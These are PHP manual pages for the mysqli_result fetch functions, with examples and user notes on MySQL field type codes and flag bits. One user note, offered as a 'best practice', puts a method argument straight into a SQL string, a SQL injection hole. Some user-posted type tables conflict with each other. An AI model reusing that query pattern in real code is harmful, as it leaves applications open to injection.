                        $pointer = & $pointer[$key_val];            // Already exists, move the pointer on to the new node
                }

        } // for $i

        // At this point, $pointer should be at the furthest point on the tree of keys
        // Now we can go through all the columns and place their values on the tree
        // For ease of use, include the index keys and their values at this point too

        foreach ($row as $key => $val) {
                        $pointer[$key] = $val;
        }

  } // $row

  /* free result set */
  $result->close();

  return($assoc);
}

?>
Jammerx2 27-Jan-2010 04:09
Putting multiple rows into an array:

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = $mysqli->query($query);

while($row = $result->fetch_array())
{
$rows[] = $row;
}

foreach($rows as $row)
{
echo $row['CountryCode'];
}

/* free result set */
$result->close();

/* close connection */
$mysqli->close();
?>


Fetch a result row as an associative array

  • « mysqli_result::fetch_array
  • mysqli_result::fetch_field_direct »
  • PHP Manual
  • mysqli_result
  • Fetch a result row as an associative array

mysqli_result::fetch_assoc

mysqli_fetch_assoc

(PHP 5)

mysqli_result::fetch_assoc -- mysqli_fetch_assoc — Fetch a result row as an associative array

Description

Object oriented style

array mysqli_result::fetch_assoc ( void )

Procedural style

array mysqli_fetch_assoc ( mysqli_result $result )

Returns an associative array that corresponds to the fetched row or NULL if there are no more rows.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns an associative array of strings representing the fetched row in the result set, where each key in the array represents the name of one of the result set's columns or NULL if there are no more rows in resultset.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using mysqli_fetch_row() or add alias names.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch associative array */
    while ($row = $result->fetch_assoc()) {
        printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
    }

    /* free result set */
    $result->free();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($row = mysqli_fetch_assoc($result)) {
        printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

Example #3 A mysqli_result example comparing iterator usage

<?php
$c = mysqli_connect('127.0.0.1','user', 'pass');

// Using iterators (support was added with PHP 5.4)
foreach ( $c->query('SELECT user,host FROM mysql.user') as $row ) {
    printf("'%s'@'%s'\n", $row['user'], $row['host']);
}

echo "\n==================\n";

// Not using iterators
$result = $c->query('SELECT user,host FROM mysql.user');
while ($row = $result->fetch_assoc()) {
    printf("'%s'@'%s'\n", $row['user'], $row['host']);
}

?>

The above example will output something similar to:

'root'@'192.168.1.1'
'root'@'127.0.0.1'
'dude'@'localhost'
'lebowski'@'localhost'

==================

'root'@'192.168.1.1'
'root'@'127.0.0.1'
'dude'@'localhost'
'lebowski'@'localhost'

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

Miller 08-Aug-2013 02:26
I often like to have my results sent elsewhere in the format of an array (although keep in mind that if you just plan on traversing through the array in another part of the script, this extra step is just a waste of time).

This is my one-liner for transforming a mysqli_result set into an array.
<?php
$sql = new MySQLi($host, $username, $password, $database);

$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row);
print_r($set);
?>

Outputs:
Array
(
    [0] => Array
        (
            [id] => 1
            [field2] => a
            [field3] => b
        ),
    [1] => Array
        (
            [id] => 2
            [field2] => c
            [field3] => d
        )
)

I use other variations to adapt to the situation, i.e. if I am selecting only one field:
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT `field2` FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row['field2']);
print_r($set);
?>
Outputs:
Array
(
    [0] => a
    [1] => c
)

Or, to make the array associative with the primary index (code assumes primary index is the first field in the table):
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[array_shift($row)] = $row);
print_r($set);
?>
Outputs:
Array
(
    [1] => Array
        (
            [field2] => a
            [field3] => b
        ),
    [2] => Array
        (
            [field2] => c
            [field3] => d
        )
)
james dot phx at gmail dot com 12-Aug-2011 02:58
IMPORTANT NOTE:

If you were used to using code like this:

<?php
while(false !== ($row = mysql_fetch_assoc($result)))
{
    //...
}
?>

You must change it to this for mysqli:

<?php
while(null !== ($row = mysqli_fetch_assoc($result)))
{
    //...
}
?>

The former will cause your script to run until max_execution_time is reached.


Fetch meta-data for a single field

  • « mysqli_result::fetch_assoc
  • mysqli_result::fetch_field »
  • PHP Manual
  • mysqli_result
  • Fetch meta-data for a single field

mysqli_result::fetch_field_direct

mysqli_fetch_field_direct

(PHP 5)

mysqli_result::fetch_field_direct -- mysqli_fetch_field_direct — Fetch meta-data for a single field

Description

Object oriented style

object mysqli_result::fetch_field_direct ( int $fieldnr )

Procedural style

object mysqli_fetch_field_direct ( mysqli_result $result , int $fieldnr )

Returns an object which contains field definition information from the specified result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

fieldnr

The field number. This value must be in the range from 0 to number of fields - 1.

Return Values

Returns an object which contains field definition information or FALSE if no field information for specified fieldnr is available.

Object attributes
Attribute | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | The default value for this field, represented as a string
max_length | The maximum width of the field for the result set.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for column 'SurfaceArea' */
    $finfo = $result->fetch_field_direct(1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for column 'SurfaceArea' */
    $finfo = mysqli_fetch_field_direct($result, 1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_num_fields() - Get the number of fields in a result
  • mysqli_fetch_field() - Returns the next field in the result set
  • mysqli_fetch_fields() - Returns an array of objects representing the fields in a result set

User Contributed Notes

gmx dot net at Hoffmann dot P 18-Jun-2014 10:32
Warning!
This function is not only more memory consuming than expected but the consumption also depends on the size of the result set. So if you realy only want to get your field_names you might want to append " LIMIT 1" or use mysqli->unbuffered_query() to save yourself from a memory bloat.
andre at koethur dot de 20-Apr-2014 04:53
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
ben dot NOSPAM at NOSPAM dot seraphire dot com 07-Dec-2012 01:01
This may be obvious, but the constants for the field types are already defined in PHP, and can be found in the documentation at: http://php.net/manual/en/mysqli.constants.php
bl at example dot com 10-Aug-2010 07:11
note that
"SELECT <timestamp-field>, ..."
will return the field with type 7 (timestamp) but with content like "2010-07-14 14:35:08". the point being it is a string.

"SELECT <timestamp-field> + 0, ..."
returns a type 5 (double) but while a number, is not seconds since epoch, but a number in MySQL's "YYYYMMDDHHMMSS" format, in this example:
20100714143508

(PHP 5.2.12)
shoresofnowhere at gmail dot com 26-Aug-2009 12:50
Beware of the fact that the ->def property NEVER gets filled with the correct default field value, so it's totally USELESS.

This happens NOT for a bug in php (so don't go filling in a bug report), but happens BY DESIGN, since the MySQL C API call doesn't fill in this value, unless you call the mysql_list_fields() function, which Php doesn't.

See here for reference.
http://dev.mysql.com/doc/refman/5.0/en/c-api-datatypes.html

Also, be aware that if you're using a query which contains subqueries, the primary key/autoincrement flags do NOT get passed along, even if the field you're looking at is the primary autoincrement key of the master table:

SELECT * from (SELECT id from areas) AS subareas

and you'll find primary key and autoinc flags off on id field, even if id was the primary autoinc key of areas table.

This also is by design, i think, since it's supposed that if we're using a subquery then the primary key/autoinc stuff might have no sense at all, since in the result set we can compose fileds from many different tables.

Hoping this is useful, bye!
gcdreak at example dot com 19-Aug-2009 12:28
I wrote a simple class to get info about fields.
Try it!

<?php
            class MysqlFieldsInfo implements Iterator
            {

                private $result;
                private $position;
                private $row;

                function __construct($result){
                    $this->result = $result;
                    $this->position = 0;
                    $this->rewind();    // W $results wewnętrzny wskaźnik może być przesunięty więc powracamy do początku
                }

                public function current(){
                    return $this->row;
                }

                public function next(){
                    $this->position++;
                    $this->row = $this->result->fetch_field();
                }

                public function valid(){
                    return (boolean) $this->row;
                }

                public function key(){
                    return $this->position;
                }

                public function rewind(){
                    $this->position = 0;
                    $this->result->field_seek(0);
                    $this->next();
                }

                //    This function show data in table
                public function export(){

                    echo '<table id="db_table_info">';
                    echo '<tr>
                                                <th>Name</th>
                                                <th>Orgname</th>
                                                <th>Table</th>
                                                <th>Orgtable</th>
                                                <th>Def</th>
                                                 <th>Max_length</th>
                                                 <th>Length</th>
                                                 <th>Charsetnr</th>
                                                 <th>Flags</th>
                                                 <th>Type</th>
                                                  <th>Decimals</th>
                                          </tr>';
                    while($this->valid()){
                        echo '<tr>';
                        printf("\n\t<td>%s</td>\n", $this->current()->name);
                        printf("\t<td>%s</td>\n", $this->current()->orgname);
                        printf("\t<td>%s</td>\n", $this->current()->orgtable);
                        printf("\t<td>%s</td>\n", $this->current()->def);
                        printf("\t<td>%s</td>\n", $this->current()->max_length);
                        printf("\t<td>%s</td>\n", $this->current()->length);
                        printf("\t<td>%s</td>\n", $this->current()->charsetnr);
                        printf("\t<td>%s</td>\n", $this->current()->flags);
                        printf("\t<td>%s</td>\n", $this->current()->type);
                        printf("\t<td>%s</td>\n", $this->current()->decimals);

                        echo '</tr>';

                        $this->next();
                    }

                    echo '</table>';
                }
            }
?>
daniel at summit cove dot com 23-Feb-2009 12:36
Here's a bigger list of data types.  I got this by creating every type I could and calling fetch_fields():

<?php
$mysql_data_type_hash = array(
    1=>'tinyint',
    2=>'smallint',
    3=>'int',
    4=>'float',
    5=>'double',
    7=>'timestamp',
    8=>'bigint',
    9=>'mediumint',
    10=>'date',
    11=>'time',
    12=>'datetime',
    13=>'year',
    16=>'bit',
    //252 is currently mapped to all text and blob types (MySQL 5.0.51a)
    253=>'varchar',
    254=>'char',
    246=>'decimal'
);
?>
cjs at ashdowntech dot com 17-Sep-2008 06:52
According to
http://www.redferni.uklinux.net/mysql/MySQL-Protocol.html

Data type values are:

DECIMAL           0       ENUM           247
TINY              1       SET            248
SHORT             2       TINY_BLOB      249
LONG              3       MEDIUM_BLOB    250
FLOAT             4       LONG_BLOB      251
DOUBLE            5       BLOB           252
NULL              6       VAR_STRING     253
TIMESTAMP         7       STRING         254
LONGLONG          8       GEOMETRY       255
INT24             9
DATE             10
TIME             11
DATETIME         12
YEAR             13
NEWDATE          14

Note that this is not tested and does not contain
all the values noted by deluxmozart
cjs at ashdowntech dot com 13-Sep-2008 05:00
According to
dev.mysql.com/sources/doxygen/mysql-5.1/mysql__com_8h-source.html
the flag bits are:

 NOT_NULL_FLAG          1         /* Field can't be NULL */
 PRI_KEY_FLAG           2         /* Field is part of a primary key */
 UNIQUE_KEY_FLAG        4         /* Field is part of a unique key */
 MULTIPLE_KEY_FLAG      8         /* Field is part of a key */
 BLOB_FLAG             16         /* Field is a blob */
 UNSIGNED_FLAG         32         /* Field is unsigned */
 ZEROFILL_FLAG         64         /* Field is zerofill */
 BINARY_FLAG          128         /* Field is binary   */
 ENUM_FLAG            256         /* field is an enum */
 AUTO_INCREMENT_FLAG  512         /* field is a autoincrement field */
 TIMESTAMP_FLAG      1024         /* Field is a timestamp */
deluxmozart at yahoo dot de 24-Jul-2008 08:05
Here are some Numbers of Datatypes. I searched for it but i didn't find a list, where the datatypes of the numbers are listed.

so first I can give this:

    3    -    Int
    10    -    Date
    246    -    Decimal
    252    -     text
    253    -    VarChar
    254    -    Boolean


Returns the next field in the result set

  • « mysqli_result::fetch_field_direct
  • mysqli_result::fetch_fields »
  • PHP Manual
  • mysqli_result
  • Returns the next field in the result set

mysqli_result::fetch_field

mysqli_fetch_field

(PHP 5)

mysqli_result::fetch_field -- mysqli_fetch_field — Returns the next field in the result set

Description

Object oriented style

object mysqli_result::fetch_field ( void )

Procedural style

object mysqli_fetch_field ( mysqli_result $result )

Returns the definition of one column of a result set as an object. Call this function repeatedly to retrieve information about all columns in the result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns an object which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | Reserved for default value, currently always ""
db | Database (since PHP 5.3.6)
catalog | The catalog name, always "def" (since PHP 5.3.6)
max_length | The maximum width of the field for the result set.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    while ($finfo = $result->fetch_field()) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all fields */
    while ($finfo = mysqli_fetch_field($result)) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_num_fields() - Get the number of fields in a result
  • mysqli_fetch_field_direct() - Fetch meta-data for a single field
  • mysqli_fetch_fields() - Returns an array of objects representing the fields in a result set
  • mysqli_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

andre at koethur dot de 19-Apr-2014 05:13
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
miqrogroove at gmail dot com 21-Jan-2013 05:19
Beware the values of the predefined constants.  They do not always correlate with the actual field types.  For example:

MYSQLI_TYPE_BLOB: 252
MYSQLI_TYPE_TINY_BLOB: 249
MYSQLI_TYPE_MEDIUM_BLOB: 250
MYSQLI_TYPE_LONG_BLOB: 251

MySQLi will indeed return a value of 252 for a tinytext field, but as you can see, this does not correspond to the value of MYSQLI_TYPE_TINY_BLOB.
Anonymous 17-Feb-2012 05:20
The constants for the TYPE number returned by fetch_field are enumerated here (MYSQLI_TYPE_*):
http://php.net/manual/en/mysqli.constants.php
iansoko at hotmail dot com 07-Oct-2011 05:24
here are the data types that correspond to the TYPE number returned by fetch_field.

thought i would post this here since i couldn't find the info elsewhere.

numerics
-------------
BIT: 16
TINYINT: 1
BOOL: 1
SMALLINT: 2
MEDIUMINT: 9
INTEGER: 3
BIGINT: 8
SERIAL: 8
FLOAT: 4
DOUBLE: 5
DECIMAL: 246
NUMERIC: 246
FIXED: 246

dates
------------
DATE: 10
DATETIME: 12
TIMESTAMP: 7
TIME: 11
YEAR: 13

strings & binary
------------
CHAR: 254
VARCHAR: 253
ENUM: 254
SET: 254
BINARY: 254
VARBINARY: 253
TINYBLOB: 252
BLOB: 252
MEDIUMBLOB: 252
TINYTEXT: 252
TEXT: 252
MEDIUMTEXT: 252
LONGTEXT: 252
ragtag at hotmail dot com 17-Sep-2008 02:16
The flags used by MySql are:
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536

To test if a flag is set you can use & like so:
<?php
$meta = $mysqli_result_object->fetch_field();
if ($meta->flags & 4) {
  echo 'Unique key flag is set';
}
?>


Returns an array of objects representing the fields in a result set

  • « mysqli_result::fetch_field
  • mysqli_result::fetch_object »
  • PHP Manual
  • mysqli_result
  • Returns an array of objects representing the fields in a result set

mysqli_result::fetch_fields

mysqli_fetch_fields

(PHP 5)

mysqli_result::fetch_fields -- mysqli_fetch_fields — Returns an array of objects representing the fields in a result set

Description

Object oriented style

array mysqli_result::fetch_fields ( void )

Procedural style

array mysqli_fetch_fields ( mysqli_result $result )

This function serves an identical purpose to the mysqli_fetch_field() function with the single difference that, instead of returning one object at a time for each field, the columns are returned as an array of objects.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns an array of objects which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
max_length | The maximum width of the field for the result set.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    $finfo = $result->fetch_fields();

    foreach ($finfo as $val) {
        printf("Name:     %s\n", $val->name);
        printf("Table:    %s\n", $val->table);
        printf("max. Len: %d\n", $val->max_length);
        printf("Flags:    %d\n", $val->flags);
        printf("Type:     %d\n\n", $val->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all columns */
    $finfo = mysqli_fetch_fields($result);

    foreach ($finfo as $val) {
        printf("Name:     %s\n", $val->name);
        printf("Table:    %s\n", $val->table);
        printf("max. Len: %d\n", $val->max_length);
        printf("Flags:    %d\n", $val->flags);
        printf("Type:     %d\n\n", $val->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_num_fields() - Get the number of fields in a result
  • mysqli_fetch_field_direct() - Fetch meta-data for a single field
  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

andre at koethur dot de 20-Apr-2014 04:55
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
educarme at adinet dot com dot uy 20-Dec-2013 10:16
Codigos de tipos de datos devueltos por fetch_fields()

Nombre        Codigo
tinyint_    1
boolean_    1
smallint_    2
int_        3
float_        4
double_        5
real_        5
timestamp_    7
bigint_        8
serial        8
mediumint_    9
date_        10
time_        11
datetime_    12
year_        13
bit_        16
decimal_    246
text_        252
tinytext_    252
mediumtext_    252
longtext_    252
tinyblob_    252
mediumblob_    252
blob_        252
longblob_    252
varchar_    253
varbinary_    253
char_        254
binary_        254
AndrewRoz 13-Jan-2011 05:18
The field info bit-flags used by MySql are:
 (Thanks to ragtag at hotmail dot com)
<?php
/*
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536
*/

// To test if a flag is set you can use & like so:

  $meta = $mysqli_result_object->fetch_field();
  if ($meta->flags & 4) {
     echo 'Unique key flag is set';
  }
?>


Returns the current row of a result set as an object

  • « mysqli_result::fetch_fields
  • mysqli_result::fetch_row »
  • PHP Manual
  • mysqli_result
  • Returns the current row of a result set as an object

mysqli_result::fetch_object

mysqli_fetch_object

(PHP 5)

mysqli_result::fetch_object -- mysqli_fetch_object — Returns the current row of a result set as an object

Description

Object oriented style

object mysqli_result::fetch_object ([ string $class_name = "stdClass" [, array $params ]] )

Procedural style

object mysqli_fetch_object ( mysqli_result $result [, string $class_name = "stdClass" [, array $params ]] )

The mysqli_fetch_object() will return the current row result set as an object where the attributes of the object represent the names of the fields found within the result set.

Note that mysqli_fetch_object() sets the properties of the object before calling the object constructor.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

class_name

The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

Return Values

Returns an object with string properties that corresponds to the fetched row or NULL if there are no more rows in resultset.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch object array */
    while ($obj = $result->fetch_object()) {
        printf ("%s (%s)\n", $obj->Name, $obj->CountryCode);
    }

    /* free result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($obj = mysqli_fetch_object($result)) {
        printf ("%s (%s)\n", $obj->Name, $obj->CountryCode);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

luismacayo at gmail dot com 29-Apr-2014 02:32
Hola, tengo una duda en la documentacion de fetch_objetc establece que las propiedades del objeto estan definidas antes de llamar al constructor de la clase a instanciar, pero tengo un script que me da error cuando intento usar las propiedades en el constructor, pero si las puedo usar despues del constructor. En que ando mal?
me at philkershaw dot me 29-Mar-2014 02:02
As a best practice, if you intend to use a defined class when using fetching_object(). Put the data obtaining code within a static method of the defined class. Otherwise, wherever you include the file (if not using an autoloader) the data connection will occur whether you want it to or not.

For example:

<?php

class User
{
    public $name;

    public static function getUser($id)
    {
        $conn = new mysqli('localhost', 'username', 'password', 'database');
        if ($result = $conn->query("SELECT * FROM users WHERE id = {$id} LIMIT 1")) {
            return $result->fetch_object('User');
            $result->close();
        }
    }
}
?>

Call the static method to obtain an instance of the User class with your data applied to it.

<?php
$user = User::getUser('31');
echo $user->name; // echo's 'Phil'
?>
Driek 27-Jun-2012 02:18
As indicated in the user comments of the mysql_fetch_object, it is important to realize that class fields get values assigned to them BEFORE the constructor is called.
For example;
<?php

class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    $this->id = $id;
  }
}

// some code for creating a database connection... i.e. mysqli object
....
$result = $con->query("select id, name from employees");
$anEmployee = $result->fetch_object("Employee");
?>
will result in the ID being 0 because it is overridden by the constructor. Therefore, it is useful to check if the class field is already set.
I.e.
<?php
class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    if (!$this->id)
    {
       $this->id = $id
    }
  }
}
?>
